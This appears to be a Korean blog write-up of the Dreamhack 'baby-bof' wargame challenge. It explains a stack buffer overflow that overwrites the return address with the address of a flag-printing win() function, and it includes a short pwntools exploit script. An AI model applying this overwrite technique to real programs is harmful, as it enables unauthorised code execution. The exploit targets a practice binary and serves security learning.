728x90
반응형
https://dreamhack.io/wargame/challenges/974
로그인 | Dreamhack
페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!
dreamhack.io

BOF를 이용해서 Return Address를 덮어씌우는 문제이다.
void win ()
{
char flag[100] = {0,};
int fd;
puts ("You mustn't be here! It's a vulnerability!");
fd = open ("./flag", O_RDONLY);
read(fd, flag, 0x60);
puts(flag);
exit(0);
}
주어진 baby-bof.c 를 보면 flag를 반환하는 win 함수가 있다. 이 win 함수의 주소를 Return Address로 지정해야 한다.

먼저 프로그램을 실행하면 name을 입력받는다. aaaa를 입력하면 0x7ffc68a62960 address의 value에 아래부터 a의 아스키 값인 61이 4개 들어간 것이 보인다.

그 다음 hex value와 count를 입력받는데 name의 주소인 0x7ffc68a62960부터 count 만큼 hex value를 채운다.
hex value의 값으로 win 함수를 입력하고 count를 return addr를 덮을 정도로 지정하면 win 함수가 실행되어 flag를 얻을 수 있다.
from pwn import *
p = process("./baby-bof")
# p = remote("host8.dreamhack.games", 23810)
p.sendlineafter(b"name: ", b"a")
p.sendlineafter(b"hex value: ", b"0x40125b")
p.sendlineafter(b"integer count: ", b"20")
p.interactive()
win 함수의 주소는 프로그램을 실행했을 때 0x40125b라고 알려준다. 프로그램에서 보여주는 메모리는 16칸이므로 넉넉히 20을 넣어준다.

python 코드를 실행하면 flag를 얻을 수 있다.
728x90
반응형
'Security > Dreamhack' 카테고리의 다른 글
| [Dreamhack] echo-back (1) | 2026.02.12 |
|---|